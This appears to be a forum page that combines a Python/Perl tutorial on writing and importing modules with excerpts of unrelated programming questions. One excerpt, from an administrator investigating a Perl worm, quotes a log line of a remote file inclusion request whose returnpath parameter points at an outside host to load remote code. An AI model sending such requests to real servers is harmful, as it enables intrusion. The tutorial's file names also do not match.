[perl-python] 20050119 writing modules

© # -*- coding: utf-8 -*-
© # Python
©
© # one can write functions,
© # save it in a file
© # and later on load the file
© # and use these functions.
©
© # For example, save the following line in
© # a file and name it module1.py
© # def f1(n): returns range(n)
©
© # to load the file, use import
© import mymodule
©
© # to use the function, use
© # fileName.functi onName.
© print mymodule.f1(5)
©
© # the file name without the .py suffix
© # is the module's name, and is available
© # as the variable fileName.__name __
© print mymodule.__name __
©
© # for more on modules, see
© # http://python.org/doc/2.3.4/tut/node8.html
©
© --------------------
© # the perl analogue is like this:
© # save the following 3 lines in a file
© # and name it mymodule.pm
©
© # package mymodule;
© # sub f1($){(1..$_[0])}
© # 1
©
© # then, call it like the following way
© use mymodule;
© use Data::Dumper;
© print Dumper [&mymodule::f1(7 )];
©
© # this is about the simplest way
© # to write a modlue in perl and
© # calling its function.
© # for an inscrutable treatment,
© # see "perldoc perlmod"

This must be easy, but I'm missing something... I want to execute a Perl script, and capture ALL its output into a PHP variable. Here are my 2 files: ------------------------------------- test3.pl ------------------------------------- print "PERL Hello from Perl! (plain print)<br>\n"; print STDERR "PERL This is text sent to STDERR<br>\n"; $output="PERL Some output:<br>\n"; for ($i=0; $i<5; $i++) {

Hello, I have a rather odd question. My company is an all java/oracle shop. We do everything is Java... no matter what it is... parsing of text files, messaging, gui you name it. My question is this... is Perl so much better at parsing text files and outputing that we would see a substantial speed increase? We process about 10 million records in flat files a day for reformatting before putting them in a DB. Also, when it comes to...

Hi, I'm tearing my hair out on this one. I'm trying to embed a Perl interpreter into a C program. I need to be able to create and destroy the interpreter periodically, but will never actually have two interpreters at the same time. On Red Hat Linux 7.3 with Perl 5.6.1, the attached program segfaults. On Red Hat 9 with Perl 5.8.0, it works perfectly. Save the program code as "test-embed-perl.c" and the build script as "buildte". ...

There were some strange requests to my server asking for config.php file (which I do not have in the requested location). I did some investigation. Seems to be a virus written in perl, exploiting a vulnerability in php code. The requests are like this 216.120.231.252 - - "GET /algebra/about/history/config.php?returnpath=http://domates.1gig.biz/spread.txt? HTTP/1.1" 404 561 "-" "libwww-perl/5.805"

I installed a perl extension for PHP to use some perl inside my php primarily because I have perl working with oracle and not php and oracle. So I want to use my old perl scripts, and use the functionality of php. The extension uses the '$perl->eval' function. i am kind of stuck with the syntax or how to put the php variable into the perl script. I have a form where the user puts in a grid reference. Then a php script that gets the...

Hello folks, I am unable to find appropriate documentation on the type promotion of bit-fields when using the generalised comparison operator "<=>". The problem is that using the GNU compilers, it seems that the internal comparison operator "<=>" tries to promote arguments from unsigned to signed. This is as boiled down as I can make it. Here is my compilation command: g++-12 -std=c++20 -Wnarrowing bit_field.cpp Here is the code in...

Let's talk about the concept of autonomous AI software engineers and no-code agents. These AIs are designed to manage the entire lifecycle of a software development project—planning, coding, testing, and deployment—without human intervention. Imagine an AI that can take a project description, break it down, write the code, debug it, and then launch it, all on its own.... Now, this would greatly impact the work of software developers. The idea...

Hello I'm a network technician in training and I need your help. I am currently learning how to create and manage the different types of VPNs and I have a question about LAN-to-LAN VPNs.

But I'm wondering if it's possible to do the same thing, with 2 Pfsense firewalls...
